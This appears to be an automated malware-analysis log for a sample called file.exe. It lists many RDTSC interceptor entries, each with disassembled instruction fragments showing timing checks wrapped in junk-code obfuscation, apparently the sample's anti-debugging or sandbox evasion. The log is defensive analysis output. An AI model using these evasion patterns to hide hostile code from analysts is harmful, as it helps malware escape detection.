Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1361 second address: 10B13CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, dx 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F86385196D8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D3688h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F86385196D8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a jnp 00007F86385196D6h 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 push edx 0x00000054 ja 00007F86385196D6h 0x0000005a pop edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B13CE second address: 10B13D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2A1E second address: 10B2A73 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F86385196DBh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F86385196E5h 0x00000011 nop 0x00000012 jmp 00007F86385196E0h 0x00000017 push 00000000h 0x00000019 mov esi, edi 0x0000001b push 00000000h 0x0000001d ja 00007F86385196D6h 0x00000023 or esi, dword ptr [ebp+122D3884h] 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c jnp 00007F86385196D8h 0x00000032 push ecx 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2A73 second address: 10B2A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B27CF second address: 10B27D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2A79 second address: 10B2A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2A7D second address: 10B2A95 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F86385196D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jnl 00007F86385196D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2A95 second address: 10B2A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B354F second address: 10B35ED instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F86385196D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F86385196D8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 jmp 00007F86385196E2h 0x0000002d mov si, 8200h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F86385196D8h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d push 00000000h 0x0000004f push 00000000h 0x00000051 push esi 0x00000052 call 00007F86385196D8h 0x00000057 pop esi 0x00000058 mov dword ptr [esp+04h], esi 0x0000005c add dword ptr [esp+04h], 00000015h 0x00000064 inc esi 0x00000065 push esi 0x00000066 ret 0x00000067 pop esi 0x00000068 ret 0x00000069 mov esi, 1685D35Bh 0x0000006e xchg eax, ebx 0x0000006f push eax 0x00000070 push edx 0x00000071 jng 00007F86385196E2h 0x00000077 jmp 00007F86385196DCh 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B80B4 second address: 10B80D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F863914EA2Ch 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9F58 second address: 10B9FFC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F86385196D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F86385196D8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jl 00007F86385196DCh 0x0000002d mov ebx, dword ptr [ebp+122D3614h] 0x00000033 push 00000000h 0x00000035 mov edi, dword ptr [ebp+122D374Ch] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F86385196D8h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 jmp 00007F86385196E8h 0x0000005c jmp 00007F86385196E3h 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F86385196E0h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC028 second address: 10BC02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB195 second address: 10BB1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F86385196DCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCEAC second address: 10BCEB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCEB2 second address: 10BCF1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F86385196EEh 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D1D5Dh], edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F86385196D8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000000h 0x00000034 and bh, FFFFFF92h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a je 00007F86385196DCh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCF1A second address: 10BCF1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEF5B second address: 10BEF60 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE06B second address: 10BE071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFF06 second address: 10BFF0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3137 second address: 10C3145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F863914EA2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106AE33 second address: 106AE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106AE37 second address: 106AE68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA36h 0x00000007 jmp 00007F863914EA2Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F863914EA2Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C37CD second address: 10C37D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C37D1 second address: 10C37DB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C37DB second address: 10C382A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, 4A41D8A2h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+1244E921h], ecx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F86385196D8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 xchg eax, esi 0x00000034 jmp 00007F86385196DCh 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push ecx 0x0000003e pop ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C382A second address: 10C382F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5F02 second address: 10C5F69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a and edi, dword ptr [ebp+122D1B4Dh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F86385196D8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F86385196D8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 push eax 0x00000049 pushad 0x0000004a jns 00007F86385196D8h 0x00000050 push eax 0x00000051 push edx 0x00000052 push edx 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C39A0 second address: 10C39A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C39A4 second address: 10C39A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C39A8 second address: 10C39B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F863914EA26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0125 second address: 10C0129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3A72 second address: 10C3A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F863914EA2Ch 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C60C9 second address: 10C60CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7F61 second address: 10C7F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C71FD second address: 10C7201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7201 second address: 10C7207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7207 second address: 10C721C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F86385196E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C721C second address: 10C7220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D15E4 second address: 10D15EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0E42 second address: 10D0E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F863914EA26h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F863914EA2Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0E5F second address: 10D0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0E69 second address: 10D0E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F863914EA26h 0x0000000a jmp 00007F863914EA35h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D1006 second address: 10D100B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D100B second address: 10D1027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jng 00007F863914EA41h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F863914EA2Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3C28 second address: 10D3C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007F86385196D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3C35 second address: 10D3C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7802 second address: 10D7808 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7808 second address: 10D7823 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F863914EA2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007F863914EA30h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7823 second address: 10D7854 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F86385196E3h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F86385196DFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7854 second address: 10D7858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7858 second address: 10D7877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F86385196E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D795E second address: 10D7964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7964 second address: 10D799B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F86385196DAh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F86385196DFh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jg 00007F86385196D6h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE309 second address: 10DE326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA39h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE326 second address: 10DE330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE330 second address: 10DE334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE334 second address: 10DE36E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F86385196E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007F86385196D6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 jns 00007F86385196D6h 0x0000001d jmp 00007F86385196DEh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DEBEE second address: 10DEBFE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F863914EA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DEBFE second address: 10DEC12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DED84 second address: 10DED8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DED8A second address: 10DEDBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F86385196E9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DEF65 second address: 10DEF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DEF69 second address: 10DEF7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF22C second address: 10DF23C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F863914EA2Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF23C second address: 10DF242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF242 second address: 10DF25E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F863914EA31h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4142 second address: 10E4146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4146 second address: 10E4169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA39h 0x00000007 ja 00007F863914EA26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4169 second address: 10E4175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F86385196D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4175 second address: 10E4179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4179 second address: 10E418D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F86385196D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F86385196D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4307 second address: 10E430D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E430D second address: 10E431E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jl 00007F86385196D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E431E second address: 10E432C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E432C second address: 10E4337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4337 second address: 10E4345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4484 second address: 10E4488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4488 second address: 10E4494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F863914EA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E47BA second address: 10E47D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F86385196E2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E47D6 second address: 10E47DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E495D second address: 10E4967 instructions: 0x00000000 rdtsc 0x00000002 js 00007F86385196D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4FA2 second address: 10E4FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
